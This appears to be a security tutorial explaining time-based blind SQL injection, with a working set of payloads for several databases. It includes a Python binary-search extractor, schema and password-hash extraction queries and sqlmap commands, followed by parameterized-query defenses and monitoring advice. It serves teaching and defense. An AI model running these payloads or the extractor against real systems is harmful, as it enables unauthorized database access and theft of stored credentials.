Time-based blind SQL injection is what attackers reach for when the application gives them nothing useful back—no stack traces, no SQL errors, no reflected query results, just a blank page and a stubborn 200 OK. But “blind” doesn’t mean “safe.” If user input is still being concatenated into backend SQL, an attacker can turn the database into a stopwatch and extract data one bit at a time by measuring response delays. It’s slow, noisy, and sometimes painful—but it works often enough that every developer and junior security engineer should understand it. In this article, we’ll break down how delay-based SQLi works, how attackers build payloads to prove and exploit it, and how to shut it down properly.

What Is Time-Based Blind SQL Injection?

Time-based blind SQL injection is a form of SQLi where the attacker can’t directly see query results, but can infer true/false conditions by causing the database to pause execution.

The core idea is simple:

  • If a condition is true, the database waits for some number of seconds.
  • If the condition is false, the response returns normally.
  • By measuring the application’s response time, the attacker learns one fact at a time.

For example, if an application builds a query like this:

sql
SELECT * FROM products WHERE id = '$id';

and user input is not safely parameterized, an attacker may inject logic like:

sql
' OR IF(1=1, SLEEP(5), 0)-- -

If the page suddenly takes 5 seconds longer to load, that’s a strong signal the injected SQL executed.

Unlike error-based or union-based SQL injection, time-based blind SQLi doesn’t require visible database output. That makes it useful against applications that:

  • suppress SQL errors,
  • return generic responses,
  • render the same page for both valid and invalid input,
  • or sit behind custom middleware that hides backend failures.

Why This Works

Blind SQLi depends on one thing: observable side effects.

Even if the response body never changes, the attacker can still observe:

  • response time,
  • TCP connection duration,
  • API timeout behavior,
  • retry patterns,
  • backend lock contention.

Time-based attacks specifically use delays as a side channel. The attacker asks yes/no questions like:

  • Does the database exist?
  • Is the current user root?
  • Is the first character of the database name a?
  • Is the ASCII value of the third character greater than 77?

Each answer is encoded in time.

A Simple Vulnerable Example

Imagine a PHP endpoint:

php
<?php
$id = $_GET['id'];
$sql = "SELECT name, price FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $sql);
?>

A normal request might look like:

http
GET /product.php?id=10 HTTP/1.1
Host: target.local

If the application is vulnerable, an attacker could try:

http
GET /product.php?id=10' AND SLEEP(5)-- - HTTP/1.1
Host: target.local

If the response is delayed by 5 seconds, that suggests the input reached the SQL engine unsafely.

Database-Specific Delay Functions

Different database engines use different syntax for sleeping or creating measurable delays.

MySQL

sql
SLEEP(5)

Example:

sql
' OR IF(1=1, SLEEP(5), 0)-- -

PostgreSQL

sql
pg_sleep(5)

Example:

sql
' OR CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END-- 

Microsoft SQL Server

sql
WAITFOR DELAY '0:0:5'

Example:

sql
'; IF (1=1) WAITFOR DELAY '0:0:5'-- 

Oracle

Oracle doesn’t have a direct SLEEP() in plain SQL, but delay can be introduced through packages like DBMS_LOCK.SLEEP in certain contexts:

sql
BEGIN DBMS_LOCK.SLEEP(5); END;

Practical exploitation depends heavily on how the query is constructed and whether stacked queries are allowed.

Detecting Time-Based Blind SQLi

The first step is proving you can influence timing.

Baseline First

Never trust one slow request. Web apps are noisy.

Measure a baseline:

bash
curl -o /dev/null -s -w "time_total=%{time_total}\n" \
  "https://target.local/product.php?id=10"

Run it several times:

bash
for i in {1..5}; do
  curl -o /dev/null -s -w "%{time_total}\n" \
    "https://target.local/product.php?id=10"
done

Then compare with a suspected delay payload:

bash
curl -o /dev/null -s -w "time_total=%{time_total}\n" \
  "https://target.local/product.php?id=10'%20AND%20SLEEP(5)--%20-"

If baseline responses are ~200ms and the injected request consistently lands around ~5.2s, that’s meaningful.

Boolean Timing Test

A stronger test uses both a true and false condition.

MySQL example

True:

http
GET /product.php?id=10' AND IF(1=1,SLEEP(5),0)-- - HTTP/1.1

False:

http
GET /product.php?id=10' AND IF(1=2,SLEEP(5),0)-- - HTTP/1.1

If only the first request causes delay, you likely have injectable control.

Using Burp Suite

In Burp Repeater, send the same request multiple times and compare response times.

For example:

http
GET /search?q=test' AND IF(SUBSTRING(DATABASE(),1,1)='a',SLEEP(5),0)-- - HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0

Burp makes timing differences easy to spot, especially when the body doesn’t change.

Turning Timing into Data Exfiltration

Once timing control is confirmed, the attacker can ask the database questions and recover data character by character.

This is where blind SQLi becomes dangerous.

Step 1: Identify the Current Database

MySQL payload

sql
' AND IF(DATABASE()='shopdb', SLEEP(5), 0)-- -

If the page delays, the current database is likely shopdb.

But attackers usually don’t guess the full string. They extract it incrementally.

Step 2: Extract Data One Character at a Time

Test the first character

sql
' AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)-- -

Test the second character

sql
' AND IF(SUBSTRING(DATABASE(),2,1)='h', SLEEP(5), 0)-- -

This works, but brute-forcing every character from a full alphabet is slow.

Step 3: Use ASCII Comparisons

A faster approach is to compare ASCII values.

Example

sql
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 109, SLEEP(5), 0)-- -

This lets the attacker use binary search instead of trying every possible character.

If the first character’s ASCII code is greater than 109 (m), sleep. Then adjust the midpoint and repeat.

This reduces extraction time dramatically.

Manual Exfiltration Walkthrough

Let’s say the attacker wants the first character of the database name.

Start with a range of printable ASCII, say 32 to 126.

Question 1

sql
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 79, SLEEP(5), 0)-- -

If delayed: character > 79
If not: character <= 79

Question 2

Suppose it was delayed. New range: 80–126.

sql
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 103, SLEEP(5), 0)-- -

Keep halving until one value remains.

In practice, an attacker automates this.

Example Python Extractor

Here’s a simplified educational script for a MySQL-backed target. This is for understanding attacker workflow and improving defensive thinking.

python
import requests
import time
import string

TARGET = "https://target.local/product.php"
DELAY = 4
THRESHOLD = 3.5

def is_delayed(payload):
    start = time.time()
    r = requests.get(TARGET, params={"id": payload}, timeout=10)
    elapsed = time.time() - start
    return elapsed > THRESHOLD

def extract_char(position):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = f"10' AND IF(ASCII(SUBSTRING(DATABASE(),{position},1))>{mid},SLEEP({DELAY}),0)-- -"
        if is_delayed(payload):
            low = mid + 1
        else:
            high = mid - 1
    return chr(low) if 32 <= low <= 126 else None

def main():
    result = ""
    for pos in range(1, 21):
        ch = extract_char(pos)
        if not ch or ch == ' ':
            break
        result += ch
        print(f"[+] Extracted so far: {result}")

if __name__ == "__main__":
    main()

This script:

  • sends a payload,
  • measures elapsed time,
  • uses binary search to infer one character,
  • repeats for each position.

Real attackers add retries, jitter handling, and concurrency controls.

Extracting Table Names and Sensitive Data

Once the attacker knows the injection works, they can target metadata tables.

MySQL information_schema example

Extract the first table name from the current database:

sql
' AND IF(
  ASCII(SUBSTRING(
    (SELECT table_name
     FROM information_schema.tables
     WHERE table_schema = DATABASE()
     LIMIT 0,1),
    1,1)
  ) > 100,
  SLEEP(5),
  0
)-- -

Then they can enumerate columns:

sql
' AND IF(
  ASCII(SUBSTRING(
    (SELECT column_name
     FROM information_schema.columns
     WHERE table_name='users'
     LIMIT 0,1),
    1,1)
  ) > 100,
  SLEEP(5),
  0
)-- -

And finally, data:

sql
' AND IF(
  ASCII(SUBSTRING(
    (SELECT password_hash FROM users LIMIT 0,1),
    1,1)
  ) > 77,
  SLEEP(5),
  0
)-- -

At that point, the app may still look “fine” to a casual observer, while secrets leak slowly in the background.

Common Injection Contexts

Time-based payloads depend on where the attacker’s input lands.

String context

sql
... WHERE username = '$input'

Payload:

sql
' AND IF(1=1,SLEEP(5),0)-- -

Numeric context

sql
... WHERE id = $input

Payload:

sql
1 AND IF(1=1,SLEEP(5),0)

ORDER BY / conditional contexts

Even non-obvious parameters can be injectable:

http
GET /items?sort=name

If the backend concatenates:

sql
SELECT * FROM items ORDER BY $sort

the attacker may need more creative syntax depending on the DBMS and parser behavior.

Challenges in Real-World Exploitation

Time-based SQLi sounds straightforward, but the real world adds friction.

Network jitter

Slow networks create false positives. Attackers compensate by:

  • repeating requests,
  • increasing delay windows,
  • using statistical averages.

Caching

A cache layer can hide timing differences. Attackers may vary parameters or target uncached endpoints.

Rate limiting and WAFs

Defensive controls can slow or block repeated payloads. However, weak WAF rules often miss obfuscated syntax.

Query timeouts

If the backend kills long-running queries, attackers may use smaller delays like 2–3 seconds and rely on repeated measurements.

Application retries

Some frameworks retry failed DB operations, which can distort timing and even amplify delay behavior.

Useful Testing with sqlmap

For authorized testing, sqlmap can detect and exploit time-based blind SQLi.

Basic example:

bash
sqlmap -u "https://target.local/product.php?id=10" --technique=T --batch

Useful flags:

bash
sqlmap -u "https://target.local/product.php?id=10" \
  --technique=T \
  --time-sec=5 \
  --dbs \
  --batch

For POST requests:

bash
sqlmap -u "https://target.local/login" \
  --data="username=test&password=test" \
  --technique=T \
  --batch

Important note: only run this against systems you own or are explicitly authorized to test.

Why Developers Miss It

A lot of teams assume:

  • “We don’t show SQL errors, so we’re safe.”
  • “The page output never changes.”
  • “The WAF would catch it.”
  • “That parameter only takes numbers.”

None of those assumptions stop blind SQLi.

If the input reaches SQL unsafely, attackers don’t need visible output. They only need a measurable difference.

Defenses That Actually Work

The fix is not “block the word SLEEP.” The fix is to stop building SQL with string concatenation.

1. Use Parameterized Queries

This is the primary defense.

PHP with MySQLi

php
<?php
$stmt = $conn->prepare("SELECT name, price FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
?>

Python with psycopg2

python
cur.execute("SELECT name, price FROM products WHERE id = %s", (product_id,))

Node.js with mysql2

javascript
const [rows] = await conn.execute(
  "SELECT name, price FROM products WHERE id = ?",
  [id]
);

When parameters are used correctly, user input is treated as data, not executable SQL.

2. Avoid Dynamic SQL Where Possible

If you must support dynamic sorting or filtering, use allowlists.

Bad:

python
query = f"SELECT * FROM items ORDER BY {sort}"

Better:

python
allowed = {"name": "name", "price": "price", "created": "created_at"}
sort_column = allowed.get(user_sort, "name")
query = f"SELECT * FROM items ORDER BY {sort_column}"

Notice that only known safe identifiers are used.

3. Use Least-Privilege Database Accounts

Your application should not connect as a DB admin.

If the app account only has access to the required schema and operations, the blast radius shrinks.

For example:

  • no access to information_schema beyond what’s necessary,
  • no file read/write privileges,
  • no administrative stored procedures,
  • no ability to create users or execute dangerous functions.

Least privilege won’t prevent SQLi, but it can reduce what an attacker can extract or execute.

4. Normalize Error Handling, But Don’t Rely on It

Generic error pages are good hygiene, but not a primary defense.

They stop error-based SQLi from being easy, but time-based blind SQLi still works if the injection point remains.

5. Add Monitoring for Timing Abuse

Time-based attacks are chatty and repetitive.

Look for:

  • repeated requests with similar payload structure,
  • suspicious SQL function names like SLEEP, pg_sleep, WAITFOR,
  • unusual latency spikes tied to specific parameters,
  • high-volume probing of one endpoint with varying conditions.

Example log indicators:

text
/product.php?id=10' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>77,SLEEP(5),0)-- -
/product.php?id=10' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>109,SLEEP(5),0)-- -
/product.php?id=10' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>93,SLEEP(5),0)-- -

That pattern screams blind extraction.

6. Use a WAF as Friction, Not a Cure

A WAF can help detect obvious payloads, but attackers can obfuscate syntax, encode characters, or use alternate expressions.

Examples of bypass ideas defenders should be aware of:

  • mixed case function names,
  • inline comments,
  • equivalent conditional syntax,
  • nested expressions.

WAFs buy time. They do not replace secure query construction.

Secure Coding Example: Before and After

Vulnerable

javascript
app.get("/product", async (req, res) => {
  const id = req.query.id;
  const sql = `SELECT name, price FROM products WHERE id = '${id}'`;
  const [rows] = await db.query(sql);
  res.json(rows);
});

Safer

javascript
app.get("/product", async (req, res) => {
  const id = Number(req.query.id);
  if (!Number.isInteger(id)) {
    return res.status(400).json({ error: "invalid id" });
  }

  const [rows] = await db.execute(
    "SELECT name, price FROM products WHERE id = ?",
    [id]
  );

  res.json(rows);
});

What improved:

  • input type validation,
  • parameterized query,
  • no string interpolation in SQL.

That combination kills the injection path.

Practical Testing Tips for Defenders

If you’re reviewing an app for this issue:

Check all input sources

Not just query strings:

  • POST bodies,
  • JSON fields,
  • headers,
  • cookies,
  • hidden form fields,
  • GraphQL variables.

Compare true/false timing conditions

Use a pair of payloads where only one should delay.

Test multiple contexts

String, numeric, and clause-level injection behave differently.

Don’t stop at one endpoint

Blind SQLi often hides in:

  • search features,
  • report filters,
  • admin dashboards,
  • export tools,
  • legacy API endpoints.

Final Thoughts

Time-based blind SQL injection is a perfect example of why “no visible error” does not mean “no vulnerability.” If untrusted input is allowed to shape SQL syntax, an attacker can still communicate with the database through timing alone—slowly, methodically, and often without obvious signs in the UI.

For developers, the lesson is straightforward: parameterize every query, avoid unsafe dynamic SQL, and validate inputs by type and allowlist where appropriate.

For junior security engineers, remember this mindset: when the app won’t talk, watch how long it thinks. In web security, silence is not safety—and sometimes the database leaks secrets one second at a time.